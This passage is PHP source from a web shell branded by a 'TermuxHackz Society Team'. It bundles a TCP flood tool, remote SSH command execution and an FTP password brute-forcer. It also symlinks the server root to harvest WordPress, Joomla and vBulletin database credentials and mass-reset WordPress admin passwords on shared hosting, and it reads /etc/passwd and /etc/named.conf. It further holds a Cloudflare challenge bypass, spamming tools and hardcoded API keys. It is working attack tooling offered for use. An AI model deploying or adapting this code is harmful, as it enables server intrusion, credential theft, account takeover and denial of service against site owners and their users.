        show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
        show(\'<a href="http://\' . $frontpath . \'.\' . $site . \'/">\' . $frontpath . \'.\' . $site . \'</a>\', 1, 0, \'rightcol\', 0);
    }
}
?>
	<?php
	} 
	?>
                        <?php
                        if(isset($_GET["db_info"])) {
                        ?>
                        	<center><br><font size="6" color="maroon" face="comic sans ms">Active Database Info </font><br>
                        		<?php
                        		function get_active_db(){
                        		$sql=\'SELECT DATABASE()\';
                        		$sqlresult=mysql_query($sql);
                        		$row=mysql_fetch_row($sqlresult);
                        		$active_db=$row[0];
                        		if(!$active_db) {
                        		echo \'<p style="color: red">Couldnt get Active Database Info, sorry!! ^_^</p>\';
                        		} 
                        		else {
                        		   echo "<p style=color: green>Active Database :<b> $active_db</b> </p>";
                        		   echo "</center>";
                        		   }   
                        		}
                        		?>
                       <?php
                       }
                       ?>
                        <?php
    if(isset($_GET["tcp_ddos"])) {
    ?>
    <?php
    //TCP
    if(isset($_GET[\'host\'])&&isset($_GET[\'time\'])){
        $packets = 0;
        ignore_user_abort(FALSE);
        set_time_limit(0);
       
        $exec_time = $_GET[\'time\'];
       
        $time = time();
       echo "Started: ".time(\'d-m-y h:i:s\')."<br>";
        $max_time = $time+$exec_time;
     
        $host = $_GET[\'host\'];
        $port = $_GET[\'port\'];
       
        for($i=0;$i<65000;$i++){
                $out .= \'X\';
        }
        while(1){
        $packets++;
                if(time() > $max_time){
                        break;
                }               
                $fp = fsockopen(\'tcp://\'.$host, $port, $errno, $errstr, 5);
                if($fp){
                        fwrite($fp, $out);
                        fclose($fp);
                }
        }
        echo "<center><br><b><font color=lightgreen size=6 face=Arial>TCP Flood by TermuxHackz Society Team</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second 
</font>";
        echo \'<br><br>
        
            <form action="\'.$surl.\'" method=GET>
            
            <input type="hidden" name="act" value="phptools">
            
            <font color=orange>IP: </font><br><input type=text name=host><br>
                        
            <font color=orange>Port: </font><br><input type=text name=port><br> 
            
            <font color=orange>Length (seconds):</font> <br><input type=text name=time><br>
            
            <input type=submit value=Go></form>\';
            
    }else{ echo \'<center><br><b><font color="teal" size="6">TCP Flood By TermuxHackz Society Team</font></b><br><br>
    
                <form action=? method=GET>
                
                <input type="hidden" name="act" value="phptools">
                
                <font color=orange>IP: </font><br><input type=text name=host placeholder=127.0.0.1 required><br>
                
                <font color=orange>Port: </font><br><input type=text placeholder=25 name=port required><br>
                
                <font color=orange>Length (seconds): </font><br><input type=text name=time placeholder=5 required><br><br>
                
                <input type=submit id=button value=> </form>
                </center>\';
    }
    ?>
    	<?php
    	} 
    	?>
                        <?php
if(isset($_GET[\'ssh_con\'])) {
?>
	<center><br><font size="5" color="teal" face="Arial">Execute Ssh Commands on remote Server </font><br><br>
		<form method="post">
			<label>Enter Ip/hostname: </label><input type="text" name="host_name" placeholder="Enter Ip/hostname of Ssh server"/><br/><br>
			<label>Enter Username: </label><input type="text" name="user_name" placeholder="Enter username of Ssh server you are trying to connect to.. "/><br /><br>
			<label>Enter Password: </label><input type="password" name="pass_word" placeholder="Enter password you are connecting as on the ssh server.. "/><br/><br><br>
				<font size="4" color="white">Enter Commands to execute </font><br>
			<textarea rows="10" cols="50" name="command" placeholder="Enter command to execute on the ssh server... "></textarea><br/><br>
			<button type="submit" name="submit_ssh" id="button"> </button>
			</form><br>
				<?php
				if(isset($_POST[\'submit_ssh\'])) {
$server   = $_POST[\'host_name\']; // server IP/hostname of the SSH server
$username = $_POST[\'user_name\']; // username for the user you are connecting as on the SSH server
$password = $_POST[\'pass_word\']; // password for the user you are connecting as on the SSH server
$command  = $_POST[\'command\']; // could be anything available on the server you are SSH\'ing to

// Establish a connection to the SSH Server. Port is the second param.
$connection = ssh2_connect($server, 22);

// Authenticate with the SSH server
ssh2_auth_password($connection, $username, $password);

// Execute a command on the connected server and capture the response
$stream = ssh2_exec($connection, $command);

// Sets blocking mode on the stream
stream_set_blocking($stream, true);

// Get the response of the executed command in a human readable form
$output = stream_get_contents($stream);

// echo output
echo "<pre>{$output}</pre>";
echo "</center>";
} 
?>
	<?php
	} 
	?>
                        <?php
                        if(isset($_GET[\'scan_site\']))
                        { ?>
                          <?php
                          mkdir(\'node\', 0666);
                          $rata = \'const nvt = require("node-virustotal");
                          const prompt = require("prompt-sync")();
                          const site = prompt("Enter Site name to scan: ");
                          const request = nvt.makeAPI().setKey("70e755a42940bd8fe63f7d2990111449806164a0732e82c19dd36a1ed7b8f7e8");
                          request.domainLookup(site, function (err, res) {
                          if (err) {
                          console.log("Virustotal API did not work because:");
                          console.log(err);
                          return;
                          }
                          var road = JSON.parse(res);
                          if (road.data.attributes.last_analysis_results.Kaspersky.result != "clean") {
                          console.log("It is not clean, haha bro, you had better be careful");
                          }
                          else{
                          console.log("The link is safe bro haha, you scared XD" );
                          }});
                          \';
                           $gg = fopen(\'node/scan_site.js\',\'w\');
                           fwrite($gg,$rata);
                           if(strtolower(substr(PHP_OS,0,3)) == "win") {
                                   $os = \'win\';
                                   }       else {
                                                   $os = \'nix\';
                                   }

                                   if ($os == \'win\') {
                                   ?>
                           <center><br><br>
                                   <font style="color: white; font-family: cursive; font-size: 200%;">Ooopppss Windows Server :P<br>You Better Find Linux to use this feature :P </font>
                           </center><?php
                   }
                   else {
                             $install = "sudo apt install nodejs";
                             $install2 = "sudo apt install npm";
                             $install3 = "npm install node-virustotal && npm install prompt-sync";
                             $install4 = "npm init -y";
                             echo shell_exec($install);
                             echo shell_exec($install2);
                             echo shell_exec($install3);
                             echo shell_exec($install4);
                             echo shell_exec("cd node && node scan_site.js");
                          }?>
                    <?php
                  } ?>
                        <!-- Rounded switch -->
                        <?php
                        if(isset($_GET[\'start_proxy\'])) {
                        ?>
                        	<?php
                        function get_data($url,$useTor) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36\');
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_ENCODING, "");
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
if ($useTor==1) {
curl_setopt($ch, CURLOPT_PROXY, \'http://localhost:9050\');
curl_setopt($ch, CURLOPT_PROXYTYPE, 7);
}
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
                        }
                          ?>

                        <?php
                        if(isset($_GET[\'archive_manager\']))
                        {
                          ?>
                          <center><br><font color="teal" size="7" face="Arial">TermuxHackz Archive Manager</font><br/><br>
                            <div class="col-md-2"></div>
                            		<div class="col-md-8">
                            			<form method="POST" enctype="multipart/form-data">
                                    <center><font color="blue" size="5">Archive a file or Zip a file(s) </font></center><br>
                            					<input class="form-control" type="file" name="upload[]" multiple/> <button type="submit" id="button" name="submit"> </button><br>
<font color="yellow" size="3" face="Arial">More than 2 files are allowed ^_^  </font><br>
 


                            			</form>
                            			<!-- Add the zip exrractor here too -->
                            				<br/><br/>
                            
<form method="post" action="" enctype="multipart/form-data">
                        	 <!-- Unzip selected zip file -->
                        	  <center><font color="blue" size="5">Unzip file</font></center><br>
                        	 <input type="file" name="file" required /> <button type="submit" name="unzipfile" id="button"> </button>
                        	 <br>
                        	</form>
                        <br/>
<?php                        
 if(isset($_POST[\'unzipfile\'])) {
                        	define(\'_PATH\', dirname(__FILE__));

                        	// Unzip selected zip file
                        	 $filename = $_FILES[\'file\'][\'name\'];

                        	 // Get file extension
                        	 $ext = pathinfo($filename, PATHINFO_EXTENSION);

                        	 $valid_ext = array(\'zip\');

                        	 // Check extension
                        	 if(in_array(strtolower($ext),$valid_ext)){
                        	  $tmp_name = $_FILES[\'file\'][\'tmp_name\'];

                        	  $zip = new ZipArchive;
                        	  $res = $zip->open($tmp_name);
                        	  if ($res === TRUE) {

                        	   // Unzip path
                        	   $path = _PATH."/Extracted_Files/";

                        	   // Extract file
                        	   $zip->extractTo($path);
                        	   $zip->close();

                        	   echo \'<script>alert("File has been Successfully unzipped to Extracted Files folder")</script>\';
                        	  } else {
                        	   echo \'<script>alert("failed! To unzip!! ^_^")</script>\';
                        	  }
                        	 }else{
                        	  echo \'<script>alert("Invalid file type only zip files allowed")</script>\';
                        	 }

                        	}
                        	?>
                            		</div>
                                <?php
                            			if(ISSET($_POST[\'submit\'])){

                            					$archive = new ZipArchive();
                            					$archive->open("File.zip", ZipArchive::CREATE);
                            					$files = $_FILES[\'upload\'];

                            					for($i = 0; $i < count($files[\'name\']); $i++){
                            						$tmp_name = $files[\'tmp_name\'][$i];
                            						$filename = $files[\'name\'][$i];

                            						move_uploaded_file($tmp_name, $filename);

                            						$archive->addFile("$filename");
                            					}

                            					$archive->close();
                                      echo "<br>";
                            					echo (\'<p>Successfully uploaded and compressed the file as File.zip and saved to: \'.  __DIR__ . \'</p>\');
                            				}
                                ?>
                                <?php
                                echo \'</center>\';
                                 ?>
                                 <?php
                               } ?>


                        <?php
                        if(isset($_GET[\'about_us\']))
                        {
                          ?>
                            <center><br><br>
                          <div id="ddos"><button onclick="closebtn();" id="close">X</button>
                        <font color="gold" size="6" face="Arial"><center>About us</center></font>
                        <font size="4" color="green">TermuxHackz Society Team</font><br>
                        <p style="color: red; size: 19px;">TermuxHackz Society Team created this powerful webshell, we are a very influencial team making changes to this world and breaking more firewalls haha :) protect your site. TermuxHackz Society Team - Fuckin Breaking Web Firewalls, Patch Your Security XD...Bhai
                          else you will get your site fucked up pretty bad :P hahhaa We are Anonymous, We are TermuxHackz Society hahaha... Join us!! <br/>
                          You Can Join our facebook group  <a href="https://bit.ly/3r2Jl18" target="_blank" alt="TermuxHackz Society Team Group">here:) </a> Dont be a fuck up okay???</p>
                          <br><br>
                          </div>
                          <script>
                          function closebtn() {
                            document.getElementById("ddos").style.display = "none";
                          }
                          </script>

                        <?php
                      } ?>
                        <?php
                        if(isset($_GET[\'ip_geolocation\']))
                      { ?>
                        <center><br><br><font color="teal" size="5" face="Arial">| IP geolocation | </font><br><br>
                          <form method="post">
                            <font size="4" color="white">Enter IP: </font>
                            <input type="text" name="ip_name" placeholder="8.8.8.8"/> <button type="submit" id="button" name="submit_ip"> </button>
                        <br><br>
                        <?php
                        if(isset($_POST[\'submit_ip\'])) {
                          $ip = $_POST[\'ip_name\'];
                          $token_hash = \'MjNhMzc5MDYzOTI4Yzc=\';
                          $token = base64_decode($token_hash);
                          $geolocation_data = file_get_contents("https://ipinfo.io/". $ip . "?token=" . $token);

                          //print the fuckin result
                          echo \'<textarea rows="10" cols="50">\';
                          echo $geolocation_data;
                          echo \'</textarea>\';
                        }
                        echo \'</center>\';
                      }?>
                      	
                        <?php
if(isset($_GET["bypass_cloudflare"])) {
?>
	<center><br><font color="gold" size="5" face="Arial">Bypass Cloudflare</font><br><br>
		<form method="post">
			<font size="3" color="green">Enter Website: </font>
			<input type="text" name="url_name" placeholder="http://targetsite.com"/> <button type="submit" name="go" id="button"> </button><br/>
			</form>
<?php
if(isset($_POST["go"])) {
$url = $_POST[\'url_name\'];
$data = OpenURLcloudflare($url);
print $data;



function OpenURLcloudflare($url) {
    //get cloudflare ChallengeForm
    $data = OpenURL($url);
    preg_match(\'/<form id="ChallengeForm" .+ name="act" value="(.+)".+name="jschl_vc" value="(.+)".+<\/form>.+jschl_answer.+\(([0-9\+\-\*]+)\);/Uis\',$data,$out);
    if(count($out)>0) {
        eval("\$jschl_answer=$out[3];");
        $post[\'act\']            = $out[1];
        $post[\'jschl_vc\']        = $out[2];
        $post[\'jschl_answer\']    = $jschl_answer;
        //send jschl_answer to the website
        $data = OpenURL($url, $post);
    }
    return($data);
}

function OpenURL($url, $post=array()) {
    $headers[] = \'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1\';
    $headers[] = \'Accept: application/json, text/javascript, */*; q=0.01\';
    $headers[] = \'Accept-Language: ar,en;q=0.5\';
    $headers[] = \'Connection: keep-alive\';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_VERBOSE, TRUE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    if(count($post)>0) {
        curl_setopt($ch, CURLOPT_POST, TRUE);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    curl_setopt($ch, CURLOPT_COOKIEFILE, \'/tmp/curl.cookie\');
    curl_setopt($ch, CURLOPT_COOKIEJAR, \'/tmp/curl.cookie\');
    $data = curl_exec($ch);
    return($data);
}
} 
echo "</center>";
?>
	<?php
	} 
	?>
                        <?php
                        if(isset($_GET[\'whole\']))
                        { ?>
                          <center><br><font color=white size=3 face="comic sans ms">change user/pass for whole server</font><br/>
                            <?php
                            echo "<font color=white size=3 face=\"comic sans ms\">Please fill the username/password that you want to set on admin panels :)<br><form method=post><font color=white size=3 face=\"comic sans ms\">";
                            echo "username:<input type=text name=uname value=Team><br>";
                            echo "Password<input type=text name=pass value=Termx></font><br>";
                            echo "<input type=submit name=start value=\"Start -)\"><p>";
                            ?>
                            <?php
                            error_reporting(0);
                            function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
                            {

                            $ar0=explode($marqueurDebutLien, $text);
                            $ar1=explode($marqueurFinLien, $ar0[1]);
                            $ar=trim($ar1[0]);
                            return $ar;
                            }


                            if(isset($_POST[\'start\']))
                            {

                            $uname=$_POST[\'uname\'];
                            $pass=$_POST[\'pass\'];


                            ////////////////////////////////////////////////////////
                            /////////////////// symlink ///////////////////
                            ////////////////////////////////////////////////////////

                            mkdir(\'termx\',0777);
                            $rr = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
 AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
                            $g = fopen(\'termx/.htaccess\',\'w\');
                            fwrite($g,$rr);
                            symlink("/","termx/root");
                            if(!is_dir(\'termx/root\'))
                            {
                            echo \'<p style="color: red";> Sorry bro :) , script could not symlink / folder :( </p>\';
                            }
                            else
                            {
                            $cmd="awk -F : \'($3>500) && ($3!=65534) && ($3!=1000)\' /etc/passwd | cut -f 1 -d \':\' ";
                            $c=shell_exec($cmd);
                            $usr=explode("
",$c);
                            foreach($usr as $us )
                            {

                            $u=trim($us);

                            $base_url = \'http://\'.$_SERVER[\'SERVER_NAME\'].dirname($_SERVER[\'SCRIPT_NAME\']).\'/termx/root/home/\';
                            $confi=array("wp-config.php","blog/wp-config.php","wordpress/wp-login.php");
                            foreach($confi as $co)
                            {
                            $uurl=@file_get_contents($base_url.$u."/public_html/".$co);

                            if($uurl && preg_match(\'/DB_NAME/i\',$uurl))
                            {

                            echo "<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face=\'comic sans ms\'> website cms is wordpress of user $u </font></td></tr></table>";
                            $wl=$base_url.$u."/public_html/".$co;
                            $text=file_get_contents($wl);

                            $uname=$_POST[\'uname\'];
                            $dbu=entre2v2($text,"define(\'DB_USER\', \'","\');");
                            $dbp=entre2v2($text,"define(\'DB_PASSWORD\', \'","\');");
                            $dbn=entre2v2($text,"define(\'DB_NAME\', \'","\');");
                            $tp=entre2v2($text,"$table_prefix = \'","\'");

                            $npwd= md5($pass);
                            $host="localhost";
                            $dbconnect=@ mysql_connect($host,$dbu,$dbp);
                            $dbselect=@ mysql_select_db($dbn,$dbconnect);
                            if($dbselect)
                            {
                            echo "<font color=red>database $dbn has been selected<br>";

                            $ru=@ mysql_query("UPDATE `".$tp."users` SET `user_login` =\'".$uname."\' WHERE ID = 1") ;
                            $ru= @ mysql_query("UPDATE `".$tp."users` SET `user_pass` =\'".$npwd."\' WHERE ID = 1") ;
                            $req =mysql_query("SELECT * from `".$tp."options` WHERE option_name=\'home\'");
                            $data = mysql_fetch_array($req);
                            $site_url=$data["option_value"];
                            echo "website is ".$data["option_value"];
                            if(!$ru)
                            {
                            echo "<font size=2 color=red face=\'comic sans ms\'><br>could not update username/password :P</font>";
                            }
                            else {

                            echo "<div align=center><table width=60% boorder=1><tr><td align=center><font size=3 color=red face=\'comic sans ms\'>Dude :P,username $uname and password $pass has been updated for ID=1 :D</font></td></tr></table><br>";
                            }

                            }
                            }
                            }
                            }
                            }


                            }
                            ?>
                            <?php
                            echo "</center>";
                             ?>
                             <?php
                           } ?>
                           <?php
                           if(isset($_GET[\'particular\']))
                           {
                             ?>
                             <center><br><font size=3 color=white face="comic sans ms">Put the wordpress website usernames for mass user/password change<br></font><br/>
                               <form method=post>
                               <font size=3 color=white face="comic sans ms"> Username:<input type=text name=uname value=Team><br>
                               Password<input type=text name=pass value=TERMX></font><br>
                               <font color=red size=3 face="comic sans ms">user list<br><textarea rows=6 cols=45 name=wen></textarea>
                               <br><br><input type=submit name=cant value="Click me and i will try to hex this shit XD" /></form>
                               <?php
                               echo \'</center>\';
                                ?>
                               <?php
                               }
                               ?>
                               <?php
                               if(isset($_POST[\'cant\']))
                               {

                               error_reporting(0);
                               $uname=$_POST[\'uname\'];
                               $pass=$_POST[\'pass\'];

                               $users=$_POST[\'wen\'];

                               mkdir(\'termx\',0777);
                               $rr  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
                               $g = fopen(\'termx/.htaccess\',\'w\');
                               fwrite($g,$rr);
                               symlink("/","termx/root");
                               $use=explode("
",$users);



                               foreach($use as $us){
                               $u=trim($us);
                               echo "<font color=red size=3 face=\"comic sans ms\">".$u;
                               $base_url = \'http://\'.$_SERVER[\'SERVER_NAME\'].dirname($_SERVER[\'SCRIPT_NAME\']).\'/termx/root/home/\';
                               $confi=array("wp-config.php","blog/wp-config.php","wordpress/wp-login.php");
                               foreach($confi as $co)
                               {
                               $uurl=@file_get_contents($base_url.$u."/public_html/".$co);

                               if($uurl && preg_match(\'/DB_NAME/i\',$uurl))
                               {

                               echo "<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face=\'comic sans ms\'> website cms is wordpress of user $u </font></td></tr></table>";
                               $wl=$base_url.$u."/public_html/".$co;
                               $text=file_get_contents($wl);

                               $uname=$_POST[\'uname\'];
                               $dbu=entre2v2($text,"define(\'DB_USER\', \'","\');");
                               $dbp=entre2v2($text,"define(\'DB_PASSWORD\', \'","\');");
                               $dbn=entre2v2($text,"define(\'DB_NAME\', \'","\');");
                               $tp=entre2v2($text,"$table_prefix = \'","\'");

                               $npwd= md5($pass);
                               $host="localhost";
                               $dbconnect=@ mysql_connect($host,$dbu,$dbp);
                               $dbselect=@ mysql_select_db($dbn,$dbconnect);
                               if($dbselect)
                               {
                               echo "<font color=red>database $dbn has been selected<br>";

                               $ru=@ mysql_query("UPDATE `".$tp."users` SET `user_login` =\'".$uname."\' WHERE ID = 1") ;
                               $ru= @ mysql_query("UPDATE `".$tp."users` SET `user_pass` =\'".$npwd."\' WHERE ID = 1") ;
                               $req =mysql_query("SELECT * from `".$tp."options` WHERE option_name=\'home\'");
                               $data = mysql_fetch_array($req);
                               $site_url=$data["option_value"];
                               echo "website is ".$data["option_value"];
                               if(!$ru)
                               {
                               echo "<font size=2 color=red face=\'comic sans ms\'><br>could not update username/password :P</font>";
                               }
                               else {

                               echo "<div align=center><table width=60% boorder=1><tr><td align=center><font size=3 color=red face=\'comic sans ms\'>Bro :),username $uname and password $pass has been updated for ID=1 :D</font></td></tr></table><br>";
                               }

                               }
                               }

                               }
                               }


                               }
                               ?>
                        <?php
                      if(isset($_GET[\'du\']))
                      {
                        ?>
                        <center><br><font
                      	color=white size=3 face="comic sans ms">--==[[website and
                      	username]]==--</font><br>
                        <?php
                        $d0mains = @file("/etc/named.conf");

                        if(!$d0mains){ die("<font size=3><b><font color=red>Error in reading /etc/named.conf "); }

                        echo "<table align=center border=1>
                        <tr><td><font size=3 face=\'comic sans ms\'>website</td><td><font size=3 face=comic sans ms>username</font></td></tr>";

                        foreach($d0mains as $d0main){

                        if(eregi("zone",$d0main)){

                        preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
                        flush();

                        if(strlen(trim($domains[1][0])) > 2){

                        $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));

                        echo "<tr><td><a href=http://www.".$domains[1][0]."/><font color=white face=\'comic sans ms\'>".$domains[1][0]."</a></td><td><font color=white face=\'comic sans ms\'>".$user[\'name\']."</td></tr>"; flush();

                        }}}
                        ?>
                        <?php
                        echo "</center>";
                         ?>
                         <?php
                       } ?>
                        <?php
                        if(isset($_GET[\'wjc\']))
                        {
                        ?>
                        <center><br><font color=white size=2 face="comic sans ms"><b>--==[[</font><font color=red size=2 face="comic sans ms">CMS based symlink,VBulletin,wordpress and Joomla admin panel password changer</font><font color=white size=2 face="comic sans ms">]]==--<br><br>
                          <table width=100%><tr><td align=center><font color="red" size="3" face="comic sans ms">cms based
                        	symlink</font></a></td><td width=25% align=center><font color=white size=3 face="comic sans ms">VBulletin-pass changer</font></a>


                        	</td><td align=center><font color=white size=3 face="comic sans ms">wordpress-pass changer</font></a>


                        	</td><td width="20%"align=center><font color=red size=3 face="comic sans ms">Joomla-pass changer</font></a> </td></tr><td align=left> <?php
                        //cms based symlink funcion



                        echo "<Form Method =Post ACTION =\' \'>";
                        echo "<font size=2 color=white face=\'comic sans ms\'>website username <input type=\'text\' name=\'uname\'>&nbsp&nbsp&nbsp<br> ";

                        echo "<font color=\'white\' size=2 face=\'comic sans ms\'><Input type = \'Radio\' Name =\'config\'  value=\'wordpress\'><font color=\'white\'>wordpress";
                        echo "<br><Input type = \'Radio\' Name =\'config\' value= \'joomla\'><font color=\'white\' size=2 face=\'comic sans ms\'>joomla<br>";
                        echo "<Input type = \'Radio\' Name =\'config\' value= \'vBulletin\'><font color=\'white\'  size=2 face=\'comic sans ms\'>vBulletin";
                        echo "<br><Input type = \'Radio\' Name =\'config\' value= \'any\'><font color=\'white\' size=2 face=\'comic sans ms\'>public_html";
                        echo "<p>";
                        echo "<button type = \'Submit\' Name = \'Submit1\' id=\'button\'> </button>";
                        echo "</FORM>";

                        if(isset($_POST[\'Submit1\']))
                        {
                        	$r=$_POST["config"];
                        if($r=="wordpress")
                        {

                        	$y=trim($_POST["uname"]);


                         function curPageURL() {
                         $pageURL = \'http\';

                         $pageURL .= "://";
                         if ($_SERVER["SERVER_PORT"] != "80") {
                          $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];

                         $pageURL =$URL;
                         } else {
                          $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
                         }
                         return $pageURL;

                        }

                         $r= dirname(curPageURL());
                          $x=$r."/UeXploiT/root/home/".$y."/public_html/wp-config.php";

                        echo "<br \><a href=". $x."><font color=white size=2 face=\'comic sans ms\'>link to wp-config.php</a>";


                        	}
                        	elseif($r=="joomla")
                        	{
                        	$un=trim($_POST["uname"]);
                        	 function curPageURL() {
                         $pageURL = \'http\';

                         $pageURL .= "://";
                         if ($_SERVER["SERVER_PORT"] != "80") {
                          $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];

                         $pageURL =$URL;
                         } else {
                          $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
                         }
                         return $pageURL;

                        }

                         $r= dirname(curPageURL());
                          $x=$r."/UeXploiT/root/home/".$un."/public_html/configuration.php";

                        echo "<br \><a href=". $x."><font color=white size=2 face=\'comic sans ms\'>link to configuration.php</a>";
                        }


                        elseif($r=="vBulletin")
                        {

                        	$y=trim($_POST["uname"]);

                        	 function curPageURL() {
                         $pageURL = \'http\';

                         $pageURL .= "://";
                         if ($_SERVER["SERVER_PORT"] != "80") {
                          $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];

                         $pageURL =$URL;
                         } else {
                          $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
                         }
                         return $pageURL;

                        }

                         $r= dirname(curPageURL());
                          $x=$r."/UeXploiT/root/home/".$y."/public_html/includes/config.php";

                        echo "<br \><a href=". $x."><font color=white size=2 face=\'comic sans ms\'>link to includes/config.php</a>";



                        	}
                        	elseif($r=="any")
                        	{
                        	$y=trim($_POST["uname"]);

                        	 function curPageURL() {
                         $pageURL = \'http\';

                         $pageURL .= "://";
                         if ($_SERVER["SERVER_PORT"] != "80") {
                          $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];

                         $pageURL =$URL;
                         } else {
                          $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
                         }
                         return $pageURL;

                        }

                         $r= dirname(curPageURL());
                          $x=$r."/UeXploiT/root/home/".$y."/public_html/";

                        echo "<br \><a href=". $x."><font color=white size=2 face=\'comic sans ms\'>link to public_html directory</a>";


                        	}
                        	}



                        ?>
                        <?php
                        echo \'</center>\';
                         ?>
                        <?php
                      } ?>
                        </td>
                        <?php
                        if(isset($_GET[\'ftp_brute\'])) {
                          echo \'
                          <center><br><font size="5" color="red" face="cursive">FTP Bruteforce</font><br>
                          <form method="post">
                          <table>
                          <tr>
                          <td style="color: white";>Hostname: </td><td><input type="text" name="hostname" required/></td>
                          </tr>
                          <tr>
                          <td style="color: white";>Username: </td><td><input type="text" name="username" required/></td>
                          </tr>
                          <tr>
                          <td style="color: white";>Passwords: </td><td><textarea rows="10" cols="30" name="passwords"></textarea></td>
                          </tr>
                          <tr>
                          <td></td><td><input type="submit" value="Start Cracking :) "/></td>
                          </tr>
                          </table>
                          </form>\';
                        } ?>
                        <?php
                        if(isset($_POST["hostname"]))
                        {
                        $hostname = $_POST["hostname"];
                        $username = $_POST["username"];
                        $passwords = explode("
", $_POST["passwords"]);
                        $passwords_number = count($passwords);
                        if(ftp_connect($hostname))
                        {
                        echo "<p style=\'color:green;\'>The server is successfuly connected!</p>";
                        $connection = ftp_connect($hostname);
                        }else{
                        echo "<p style=\'color:red\'>Problem connecting to the server!</p>";
                        }
                        while($i < $passwords_number )
                        {
                        if(@ftp_login($connection, $hostname, $passwords[$i]))
                        {
                        echo "<span style=\'color:green\'>The login is successful using username: $username and Password: ".$passwords[$i]."</span><br>";
                        break;
                        }else{
                        echo "<span style=\'color:red\'>Failed login to the server using username: $username and password: ".$passwords[$i]."</span><br>";
                        }
                        $i++;
                        }
                        }
                        ?>
                        <?php
                        echo \'</center>\'; ?>

                        <?php
                        if(isset($_GET[\'telnet_connect\']))
                        {
                        ?>
                        <center><br><font color="blue" size="5" face="cursive">Telnet Connect</font><br><br>
                        <form method="POST">
                          <label>Enter host: </label> <input type="text" name="ip_host" placeholder="Enter Ip Host.." /><br><br>
                          <label>Enter Port: </label> <input type="text" name="ip_port" placeholder="Enter Port..." /><br><br>
                          <input type="submit" name="submitip" value="Connect" />
                        </form>
                        <?php
                        if(isset($_POST[\'submitip\'])) {
                        $socket = fsockopen($_POST[\'ip_host\'], $_POST[\'ip_port\'], $errno, $errstr);
                        if($socket) {
                          echo "<p>Connected <br /><br/> </p>";
                        }
                        else {
                          echo \'<p style="color: red" size="7">Connection Failed!!<br><br>\';
                        }
                        fputs($socket, "help 
");

                        $buffer = "";
                        while(!feof($socket)) {
                          $buffer .=fgets($socket, 4096);
                        }
                        print_r($buffer);
                        echo "<br /><br /><br />";
                        var_dump($buffer);

                        fclose($socket);
                      }
                        ?>
                        <?php
                      } ?>
                      	<!-- Add the mailer here-->
                      		<!-- Add the spamming buttons here -->
                      <?php
                      if(isset($_GET[\'spamming_tools\'])) {
                      ?>
                      	<center><br><br><font size="6" color="green" face="cursive">Spamming Tools</font><br></center>
                      		<div class="buttons"><center>
                      			<a href="?fake_mail">
                      			<input type="submit" value="Fake Mailer"/>
                      			</a>&nbsp;&nbsp;&nbsp
                      			<a href="?mass_gen_emails">
                      				<input type="submit" value="Mass Emails List 2k"/>
                      			</a>&nbsp;&nbsp;&nbsp
                      			<a href="?hqproxies">
                      				<input type="submit" value="Get HQ proxies - Google Dork Way"/>
                      			</a>&nbsp;&nbsp;&nbsp	
                      			<br/>
                      			<!-- Add other spamming tools here -->
                      				</div>
                      				</center>
                      				
                      				<?php
                      				} 
                      				?>
                 <?php
                 if(isset($_GET[\'hqproxies\'])) {
                 ?>
                 	<center><br><br><font color="lightgreen" size="7" face="cursive">Get HQ Proxies Google Dork Way </font><br/>
                 	<form method="post">
                 		<input type="submit" name="clickHere" value="Get HQ Proxies"/>
                 		</form>
                 		</center>
                 <?php
function openURL($url) {
 
  // Create a new cURL resource
  $ch = curl_init();
 
  // Set the file URL to fetch through cURL
  curl_setopt($ch, CURLOPT_URL, $url);
 
  // Do not check the SSL certificates
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 
  // Return the actual result of the curl result instead of success code
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
